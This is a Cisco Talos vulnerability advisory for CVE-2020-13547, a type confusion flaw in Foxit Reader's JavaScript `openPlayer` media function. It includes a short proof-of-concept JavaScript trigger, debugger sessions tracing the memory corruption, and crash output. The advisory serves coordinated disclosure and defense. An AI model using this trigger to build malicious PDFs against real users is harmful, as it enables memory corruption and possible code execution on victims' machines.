Talos Vulnerability Report

TALOS-2020-1165

Foxit Reader JavaScript media openPlayer type confusion vulnerability

DECEMBER 9, 2020

CVE NUMBER

CVE-2020-13547

Summary

A type confusion vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 10.1.0.37527. A specially crafted PDF document can trigger an improper use of an object, resulting in memory corruption and arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Reader Version: 10.1.0.37527

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-843 - Access of Resource Using Incompatible Type ('Type Confusion')

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses V8 JavaScript engine.

PDF Javascript API defines a set of media functions, one of which is `this.app.media.openPlayer`. Function `openPlayer` expects an optional argument of type `PlayerArgs` which is a Javascript object containing a number of properties one of which is `annot` for annotations. There exists a type confusion when invoking an `openPlayer` function with an object of a different type that has the `annot` property. To demonstrate, the following code triggers this vulnerability:

```
var b  = {};
b["annot"] = this;
this.app.media.openPlayer(b));
```

Above code constructs an object `b` and adds a property `annot` that references `this` object. Then, object `b` is passed on to `openPlayer` method. We can observe the type confusion in the following debugger session:

```
0:000> bp FoxitReader+0025727f
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=1cfe4f90 ecx=2084affc edx=007b0000 esi=003b5698 edi=1cfe4f90
eip=00f0727f esp=003b5644 ebp=003b564c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
0:000> dd ecx-4
2084aff8  1cfe4f90 00000003 ???????? ????????
2084b008  ???????? ???????? ???????? ????????
2084b018  ???????? ???????? ???????? ????????
2084b028  ???????? ???????? ???????? ????????
2084b038  ???????? ???????? ???????? ????????
2084b048  ???????? ???????? ???????? ????????
2084b058  ???????? ???????? ???????? ????????
2084b068  ???????? ???????? ???????? ????????
0:000> dd 1cfe4f90
1cfe4f90  049d55f0 2084aff8 11ef2fc0 1e08cf70
1cfe4fa0  c0c0c000 00000001 18de2fd8 01000101
1cfe4fb0  00000004 00000000 18de0f9c 1311cf88
1cfe4fc0  14da0ff8 00000000 00000000 00000000
1cfe4fd0  00000000 00000000 00000010 00000000
1cfe4fe0  00000000 00000000 0000000a 00000000
1cfe4ff0  00000000 00000000 c0c0c000 00000000
1cfe5000  ???????? ???????? ???????? ????????
0:000> !heap -p -a 1cfe4f90
    address 1cfe4f90 found in
    _DPH_HEAP_ROOT @ 7b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                11f11b94:         1cfe4f90               70 -         1cfe4000             2000
          ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+d4394
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    03f3bace FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
    0241a946 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005f5ad6
    014462dd FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1bfd
    00f0d5da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d07a
    00f0f0ea FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002eb8a
    00f0fa76 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002f516
    00f0ee19 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002e8b9
    010230a8 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x000483e8
    020465f9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00221789
    0204eb1d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00229cad
    0204d6c2 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00228852
    02046bef FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00221d7f

0:000> u
00f0727f f00fc101        lock xadd dword ptr [ecx],eax ds:002b:2084affc=00000003
00f07283 5f              pop     edi
00f07284 5e              pop     esi
00f07285 5d              pop     ebp
```

Above shows a breakpoint at a reference counting function when an object of correct type is being accessed. Register `ecx` points to current number of references which is about to be increased, and right before it is a pointer to the object at `1cfe4f90`. We can see the object of size 0x70. First dword in the object is actually a vtable pointer to `049d55f0` which RTTI reveals to be `CBF_Widget`. Continuing the execution breaks on the same breakpoint for the second time:

```
Breakpoint 0 hit
eax=00000001 ebx=1cfeefd8 ecx=215d2fec edx=00000000 esi=003de518 edi=21678fd8
eip=00f0727f esp=003de4ac ebp=003de4b4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitReader!std::basic_ostream >::operator0:000> dd ecx
215d2fec  c1000000 00000000 00000000 26f40181
215d2ffc  c1010000 00000000 00000000 26f4e4c9
215d300c  c1020000 00000000 00000000 26f4fc1d
215d301c  c1030000 00000000 00000000 26dc44c1
215d302c  c9040000 00000000 00000000 26f560b1
215d303c  c1050000 00000000 00000000 26f51635
215d304c  c1060000 00000000 00000000 26f50ea1
215d305c  c1070000 00000000 00000000 26f51729
0:000> dd ecx-4
215d2fe8  26f40089 c1000000 00000000 00000000
215d2ff8  26f40181 c1010000 00000000 00000000
215d3008  26f4e4c9 c1020000 00000000 00000000
215d3018  26f4fc1d c1030000 00000000 00000000
215d3028  26dc44c1 c9040000 00000000 00000000
215d3038  26f560b1 c1050000 00000000 00000000
215d3048  26f51635 c1060000 00000000 00000000
215d3058  26f50ea1 c1070000 00000000 00000000
0:000> dd edi
21678fd8  20378e60 215d2fe8 215d2ff8 00000000
21678fe8  00000000 00000000 00000000 00000000
21678ff8  00000010 d0d0d0d0 ???????? ????????
21679008  ???????? ???????? ???????? ????????
21679018  ???????? ???????? ???????? ????????
21679028  ???????? ???????? ???????? ????????
21679038  ???????? ???????? ???????? ????????
21679048  ???????? ???????? ???????? ????????
0:000> !heap -p -a edi
    address 21678fd8 found in
    _DPH_HEAP_ROOT @ 7b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                21bc2340:         21678fd8               24 -         21678000             2000
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    03f3bace FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
    030bc76e FoxitReader!FXJSE_Value_ToUTF8String+0x000010ce
    030bceb3 FoxitReader!FXJSE_Runtime_Release+0x000000f3
    030b8998 FoxitReader!safe_vsnprintf+0x00c58868
    030be8f9 FoxitReader!FXJSE_SetOOMErrorCallback+0x00000319
    030bd42a FoxitReader!FXJSE_Runtime_Release+0x0000066a
```

Above once again shows reference counting function being called, but the object is different. Its size is 0x24 and it doesn't contain a pointer to reference counter as its second dword but instead to `215d2fe8`. Memory at `215d2fe8`, although initialized, belongs to a completely different object and looking up the allocation stack of `21678fd8` reveals its connection to `this` object. Continuing execution doesn't immediately lead to a crash, but the same object is accessed multiple times compounding memory corruption which ultimately leads to a crash.

While the above proof of concept code uses `this` object and demonstrates type confusion at a reference counting function, other objects can be used instead, leading to different forms of memory corruption. These can lead to out of bounds memory read and write access which could ultimately be abused to achieve arbitrary code execution.

Crash Information

```
(3d0.5e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=1fffffff ecx=02000000 edx=02000004 esi=20c30fe0 edi=19930522
eip=01b8db13 esp=003dd834 ebp=003dd848 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
FoxitReader!CryptUIWizExport+0x53ae33:
01b8db13 f00fc102        lock xadd dword ptr [edx],eax ds:002b:02000004=8008428b
0:000> k 5
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 003dd848 01b8d6dc FoxitReader!CryptUIWizExport+0x53ae33
01 003de48c 01b5f950 FoxitReader!CryptUIWizExport+0x53a9fc
02 003de4b0 01b5ffd5 FoxitReader!CryptUIWizExport+0x50cc70
03 003de4dc 017eb247 FoxitReader!CryptUIWizExport+0x50d2f5
04 003de560 017def25 FoxitReader!CryptUIWizExport+0x198567
0:000> dd edx
02000004  8008428b 75000d78 80108b1e 75000d7a
02000014  8b0a8b31 80d18bc2 74000d79 8b0689f4
02000024  5d5e5fc7 8b0008c2 78800442 1275000d
02000034  7508503b 8b06890d 04408bd0 000d7880
02000044  0689ee74 5e5fc78b 0008c25d 7a80118b
02000054  4d75000d 08728b56 000d7e80 168b2075
02000064  000d7a80 0f661275 0000441f f28b028b
02000074  7880d08b f474000d c18b3189 428bc35e
```

Timeline

2020-10-16 - Vendor Disclosure
2020-12-09- Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.
